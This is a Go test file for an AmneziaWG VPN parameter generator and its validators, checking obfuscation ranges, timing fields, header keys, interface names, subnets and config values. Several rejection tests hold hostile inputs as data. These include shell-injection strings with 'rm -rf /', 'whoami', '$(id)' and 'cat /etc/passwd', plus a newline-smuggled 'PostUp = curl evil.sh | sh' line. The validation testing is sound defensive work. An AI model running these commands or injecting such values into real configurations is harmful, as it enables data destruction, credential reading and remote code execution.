params_test.go 12 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379
  1. package amneziawg
  2. import (
  3. "encoding/base64"
  4. "strconv"
  5. "strings"
  6. "testing"
  7. )
  8. func TestGenerateObfuscation31DefaultRanges(t *testing.T) {
  9. for i := 0; i < 200; i++ {
  10. o := GenerateObfuscation31()
  11. if o.Jc < 3 || o.Jc > 6 {
  12. t.Fatalf("Jc = %d, want [3,6]", o.Jc)
  13. }
  14. if o.Jmin < 40 || o.Jmin > 89 {
  15. t.Fatalf("Jmin = %d, want [40,89]", o.Jmin)
  16. }
  17. if o.Jmax < o.Jmin+50 || o.Jmax > o.Jmin+250 {
  18. t.Fatalf("Jmax = %d, want [Jmin+50, Jmin+250] (Jmin=%d)", o.Jmax, o.Jmin)
  19. }
  20. if o.S1 < 15 || o.S1 > 150 {
  21. t.Fatalf("S1 = %d, want [15,150]", o.S1)
  22. }
  23. if o.S2 < 15 || o.S2 > 150 {
  24. t.Fatalf("S2 = %d, want [15,150]", o.S2)
  25. }
  26. if o.S1+56 == o.S2 {
  27. t.Fatalf("S1+56 == S2 (%d+56 == %d): violates kernel constraint", o.S1, o.S2)
  28. }
  29. if o.S3 < 12 || o.S3 > 55 {
  30. t.Fatalf("S3 = %d, want [12,55]", o.S3)
  31. }
  32. if o.S4 < 12 || o.S4 > 27 {
  33. t.Fatalf("S4 = %d, want [12,27]", o.S4)
  34. }
  35. if o.HeaderProtectionKey != "" {
  36. if err := ValidateObfuscation(o); err != nil {
  37. t.Fatalf("generated set failed its own validation: %v", err)
  38. }
  39. }
  40. for name, h := range map[string]string{"H1": o.H1, "H2": o.H2, "H3": o.H3, "H4": o.H4} {
  41. if err := validateUintRange(h, 0); err != nil {
  42. t.Fatalf("%s = %q invalid: %v", name, h, err)
  43. }
  44. if h == "" {
  45. t.Fatalf("%s is empty, want a generated range", name)
  46. }
  47. }
  48. if !strings.HasPrefix(o.I1, "<r ") || !strings.HasSuffix(o.I1, ">") {
  49. t.Fatalf("I1 = %q, want \"<r N>\" form", o.I1)
  50. }
  51. n, err := strconv.Atoi(strings.TrimSuffix(strings.TrimPrefix(o.I1, "<r "), ">"))
  52. if err != nil || n < 32 || n > 256 {
  53. t.Fatalf("I1 = %q, embedded N must be an integer in [32,256]", o.I1)
  54. }
  55. for name, v := range map[string]string{"I2": o.I2, "I3": o.I3, "I4": o.I4, "I5": o.I5} {
  56. if v != "" {
  57. t.Fatalf("%s = %q, generated sets must leave I2-I5 empty", name, v)
  58. }
  59. }
  60. key, err := base64.StdEncoding.DecodeString(o.HeaderProtectionKey)
  61. if err != nil || len(key) != 32 {
  62. t.Fatalf("HeaderProtectionKey = %q, must be base64 of 32 bytes (err=%v)", o.HeaderProtectionKey, err)
  63. }
  64. assertRangeWithin(t, "ContentPaddingAddition", o.ContentPaddingAddition, 8, 64)
  65. rkLo, rkHi := assertRangeWithin(t, "RekeyAfterTime", o.RekeyAfterTime, 100, 160)
  66. if rkHi-rkLo < 10 || rkHi-rkLo > 40 {
  67. t.Fatalf("RekeyAfterTime = %q, width must be in [10,40]", o.RekeyAfterTime)
  68. }
  69. rjLo, _ := assertRangeWithin(t, "RejectAfterTime", o.RejectAfterTime, 130, 310)
  70. if rjLo < rkHi+30 {
  71. t.Fatalf("RejectAfterTime = %q must start >= 30s above RekeyAfterTime max %d", o.RejectAfterTime, rkHi)
  72. }
  73. assertRangeWithin(t, "RekeyTimeout", o.RekeyTimeout, 3, 10)
  74. assertRangeWithin(t, "KeepaliveTimeout", o.KeepaliveTimeout, 8, 20)
  75. assertRangeWithin(t, "MaxHandshakeAttempts", o.MaxHandshakeAttempts, 15, 50)
  76. if !o.RandomTrailers || !o.DisableCookies {
  77. t.Fatalf("RandomTrailers/DisableCookies = %v/%v, generated sets default both on", o.RandomTrailers, o.DisableCookies)
  78. }
  79. }
  80. }
  81. // assertRangeWithin parses a "lo-hi" value and fails unless
  82. // min <= lo <= hi <= max, returning the parsed bounds.
  83. func assertRangeWithin(t *testing.T, name, v string, min, max int64) (lo, hi int64) {
  84. t.Helper()
  85. lo, hi, ok := parseUintRange(v)
  86. if !ok || !strings.Contains(v, "-") {
  87. t.Fatalf("%s = %q, want a lo-hi range", name, v)
  88. }
  89. if lo < min || hi > max || lo > hi {
  90. t.Fatalf("%s = %q, want %d <= lo <= hi <= %d", name, v, min, max)
  91. }
  92. return lo, hi
  93. }
  94. func TestGenerateHValuesDistinct(t *testing.T) {
  95. for i := 0; i < 50; i++ {
  96. h := generateHValues()
  97. var prev int64
  98. for i, v := range h {
  99. n, err := strconv.ParseInt(v, 10, 64)
  100. if err != nil {
  101. t.Fatalf("H%d = %q is not a plain integer: %v", i+1, v, err)
  102. }
  103. if n <= prev {
  104. t.Fatalf("H%d = %q is not strictly greater than the previous value (%d)", i+1, v, prev)
  105. }
  106. prev = n
  107. }
  108. }
  109. }
  110. func validObfuscation() Obfuscation31 {
  111. return GenerateObfuscation31()
  112. }
  113. func TestValidateObfuscationAcceptsGenerated(t *testing.T) {
  114. for i := 0; i < 50; i++ {
  115. if err := ValidateObfuscation(validObfuscation()); err != nil {
  116. t.Fatalf("generated obfuscation set rejected: %v", err)
  117. }
  118. }
  119. }
  120. func TestValidateObfuscationAcceptsBlankH(t *testing.T) {
  121. o := validObfuscation()
  122. o.H1, o.H2, o.H3, o.H4 = "", "", "", ""
  123. if err := ValidateObfuscation(o); err != nil {
  124. t.Fatalf("blank H values should be allowed (fall back to defaults): %v", err)
  125. }
  126. }
  127. func TestValidateObfuscationRejectsBadJminJmax(t *testing.T) {
  128. o := validObfuscation()
  129. o.Jmin, o.Jmax = 50, 10
  130. if err := ValidateObfuscation(o); err == nil {
  131. t.Fatal("Jmin > Jmax must be rejected")
  132. }
  133. }
  134. func TestValidateObfuscationRejectsBadS3S4(t *testing.T) {
  135. o := validObfuscation()
  136. o.S3 = 65
  137. if err := ValidateObfuscation(o); err == nil {
  138. t.Fatal("S3 > 64 must be rejected")
  139. }
  140. o = validObfuscation()
  141. o.S4 = 33
  142. if err := ValidateObfuscation(o); err == nil {
  143. t.Fatal("S4 > 32 must be rejected")
  144. }
  145. o = validObfuscation()
  146. o.S3, o.S4 = -1, -1
  147. if err := ValidateObfuscation(o); err == nil {
  148. t.Fatal("negative S3/S4 must be rejected")
  149. }
  150. }
  151. func TestValidateObfuscationRejectsLowSWithHeaderProtection(t *testing.T) {
  152. for field, set := range map[string]func(o *Obfuscation31){
  153. "S1": func(o *Obfuscation31) { o.S1 = 11 },
  154. "S2": func(o *Obfuscation31) { o.S2 = 11 },
  155. "S3": func(o *Obfuscation31) { o.S3 = 11 },
  156. "S4": func(o *Obfuscation31) { o.S4 = 11 },
  157. } {
  158. o := validObfuscation()
  159. set(&o)
  160. if err := ValidateObfuscation(o); err == nil {
  161. t.Fatalf("%s = 11 with a header protection key set must be rejected", field)
  162. }
  163. }
  164. o := validObfuscation()
  165. o.HeaderProtectionKey = ""
  166. o.S3, o.S4 = 8, 4
  167. if err := ValidateObfuscation(o); err != nil {
  168. t.Fatalf("S3/S4 below 12 with no header protection key must be accepted: %v", err)
  169. }
  170. }
  171. func TestValidateObfuscationRejectsS1S2Collision(t *testing.T) {
  172. o := validObfuscation()
  173. o.S1 = 30
  174. o.S2 = o.S1 + 56
  175. if err := ValidateObfuscation(o); err == nil {
  176. t.Fatal("S1+56 == S2 must be rejected (kernel constraint)")
  177. }
  178. }
  179. func TestValidateObfuscationRejectsBadH(t *testing.T) {
  180. cases := []string{"not-a-number", "10-", "-10", "5-4", "-1-10"}
  181. for _, h := range cases {
  182. o := validObfuscation()
  183. o.H1 = h
  184. if err := ValidateObfuscation(o); err == nil {
  185. t.Fatalf("H1 = %q must be rejected", h)
  186. }
  187. }
  188. }
  189. func TestValidateObfuscationAcceptsEmpty31Fields(t *testing.T) {
  190. o := validObfuscation()
  191. o.HeaderProtectionKey = ""
  192. o.ContentPaddingAddition = ""
  193. o.RekeyAfterTime, o.RekeyTimeout, o.RejectAfterTime = "", "", ""
  194. o.KeepaliveTimeout, o.MaxHandshakeAttempts = "", ""
  195. o.RandomTrailers, o.DisableCookies = false, false
  196. if err := ValidateObfuscation(o); err != nil {
  197. t.Fatalf("all-empty 3.1 fields must be accepted (features off): %v", err)
  198. }
  199. }
  200. func TestValidateObfuscationRejectsBadTimingRanges(t *testing.T) {
  201. cases := []struct {
  202. name string
  203. mutate func(o *Obfuscation31)
  204. }{
  205. {"zero rekeyTimeout", func(o *Obfuscation31) { o.RekeyTimeout = "0" }},
  206. {"zero-low range", func(o *Obfuscation31) { o.KeepaliveTimeout = "0-10" }},
  207. {"inverted range", func(o *Obfuscation31) { o.RekeyAfterTime = "160-100" }},
  208. {"non-numeric", func(o *Obfuscation31) { o.MaxHandshakeAttempts = "many" }},
  209. {"trailing dash", func(o *Obfuscation31) { o.RejectAfterTime = "200-" }},
  210. {"rekey max not below reject min", func(o *Obfuscation31) {
  211. o.RekeyAfterTime = "100-200"
  212. o.RejectAfterTime = "200-300"
  213. }},
  214. {"single rekey value at reject min", func(o *Obfuscation31) {
  215. o.RekeyAfterTime = "180"
  216. o.RejectAfterTime = "180-300"
  217. }},
  218. {"embedded newline splits the config line", func(o *Obfuscation31) {
  219. o.RekeyAfterTime = "110\n-140"
  220. o.RejectAfterTime = "190-250"
  221. }},
  222. {"reject alone below the 120s default rekey", func(o *Obfuscation31) {
  223. o.RekeyAfterTime = ""
  224. o.RejectAfterTime = "30-60"
  225. }},
  226. {"rekey alone above the 180s default reject", func(o *Obfuscation31) {
  227. o.RekeyAfterTime = "200-300"
  228. o.RejectAfterTime = ""
  229. }},
  230. }
  231. for _, c := range cases {
  232. o := validObfuscation()
  233. c.mutate(&o)
  234. if err := ValidateObfuscation(o); err == nil {
  235. t.Errorf("%s must be rejected", c.name)
  236. }
  237. }
  238. }
  239. func TestValidateObfuscationRejectsBadHeaderProtectionKey(t *testing.T) {
  240. cases := []struct {
  241. name string
  242. key string
  243. }{
  244. {"not base64", "not!!!base64"},
  245. {"16-byte key", base64.StdEncoding.EncodeToString(make([]byte, 16))},
  246. {"33-byte key", base64.StdEncoding.EncodeToString(make([]byte, 33))},
  247. {"control characters", "AAAA\nBBBB"},
  248. // DecodeString IGNORES \r\n, so this decodes to a valid 32 bytes —
  249. // only the explicit control-character check can catch the line wrap.
  250. {"line-wrapped but decodable key", "MCPfRGcDGotJ6Tcn\r\nIdDqsemj2cMIiGHnPUHM5ivXN18="},
  251. }
  252. for _, c := range cases {
  253. o := validObfuscation()
  254. o.HeaderProtectionKey = c.key
  255. if err := ValidateObfuscation(o); err == nil {
  256. t.Errorf("headerProtectionKey %s (%q) must be rejected", c.name, c.key)
  257. }
  258. }
  259. }
  260. func TestCanonicalizeUintRange(t *testing.T) {
  261. cases := []struct{ in, want string }{
  262. {"110 - 140", "110-140"},
  263. {" 120 ", "120"},
  264. {" ", ""},
  265. {"", ""},
  266. {"110-140", "110-140"},
  267. }
  268. for _, c := range cases {
  269. if got := CanonicalizeUintRange(c.in); got != c.want {
  270. t.Errorf("CanonicalizeUintRange(%q) = %q, want %q", c.in, got, c.want)
  271. }
  272. }
  273. }
  274. func TestValidateObfuscationAcceptsSingleValueRanges(t *testing.T) {
  275. o := validObfuscation()
  276. o.ContentPaddingAddition = "32"
  277. o.RekeyAfterTime = "120"
  278. o.RejectAfterTime = "180"
  279. if err := ValidateObfuscation(o); err != nil {
  280. t.Fatalf("single-integer values must be accepted like the awg parser does: %v", err)
  281. }
  282. }
  283. func TestValidateInterfaceNameAcceptsBlankAndPlausibleNames(t *testing.T) {
  284. for _, name := range []string{"", "eth0", "wg0", "br-lan", "eno1.100", "veth1a2b3c", "eth0:0"} {
  285. if err := ValidateInterfaceName(name); err != nil {
  286. t.Errorf("ValidateInterfaceName(%q) rejected a plausible name: %v", name, err)
  287. }
  288. }
  289. }
  290. func TestValidateInterfaceNameRejectsShellMetacharactersAndOverlength(t *testing.T) {
  291. cases := []string{
  292. "eth0 -j ACCEPT; rm -rf /",
  293. "eth0`whoami`",
  294. "eth0$(id)",
  295. "eth0|cat /etc/passwd",
  296. "eth0\nMASQUERADE",
  297. "aaaaaaaaaaaaaaaaaaaa", // 20 chars, over IFNAMSIZ-1
  298. }
  299. for _, name := range cases {
  300. if err := ValidateInterfaceName(name); err == nil {
  301. t.Errorf("ValidateInterfaceName(%q) must be rejected", name)
  302. }
  303. }
  304. }
  305. func TestValidateSubnetIPv4AcceptsValidBases(t *testing.T) {
  306. cases := []struct {
  307. ip string
  308. cidr int
  309. }{
  310. {"10.8.1.0", 24},
  311. {"10.8.1.0", 0}, // cidr <= 0 defaults to /24, mirroring serverAddress
  312. {"192.168.5.10", 32},
  313. }
  314. for _, c := range cases {
  315. if err := ValidateSubnetIPv4(c.ip, c.cidr); err != nil {
  316. t.Errorf("ValidateSubnetIPv4(%q, %d) rejected a valid subnet: %v", c.ip, c.cidr, err)
  317. }
  318. }
  319. }
  320. func TestValidateSubnetIPv4RejectsMalformedOrInjectedValues(t *testing.T) {
  321. cases := []struct {
  322. ip string
  323. cidr int
  324. }{
  325. {"10.8.1.0 -j ACCEPT; rm -rf /", 24}, // shell injection attempt
  326. {"not-an-ip", 24},
  327. {"", 24},
  328. {"fd86::1", 64}, // IPv6, not IPv4
  329. {"10.8.1.0", 33}, // cidr out of range
  330. }
  331. for _, c := range cases {
  332. if err := ValidateSubnetIPv4(c.ip, c.cidr); err == nil {
  333. t.Errorf("ValidateSubnetIPv4(%q, %d) must be rejected", c.ip, c.cidr)
  334. }
  335. }
  336. }
  337. func TestValidateConfigValueAcceptsPlausibleValues(t *testing.T) {
  338. for _, v := range []string{"", "[email protected]", "MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=", "<r 148>"} {
  339. if err := ValidateConfigValue("email", v); err != nil {
  340. t.Errorf("ValidateConfigValue(%q) rejected a plausible value: %v", v, err)
  341. }
  342. }
  343. }
  344. func TestValidateConfigValueRejectsControlCharacters(t *testing.T) {
  345. cases := []string{
  346. "a@x\nPostUp = curl evil.sh | sh",
  347. "a@x\r\n[Interface]",
  348. "tab\there",
  349. "a@x\x7f",
  350. }
  351. for _, v := range cases {
  352. if err := ValidateConfigValue("email", v); err == nil {
  353. t.Errorf("ValidateConfigValue(%q) must be rejected", v)
  354. }
  355. }
  356. }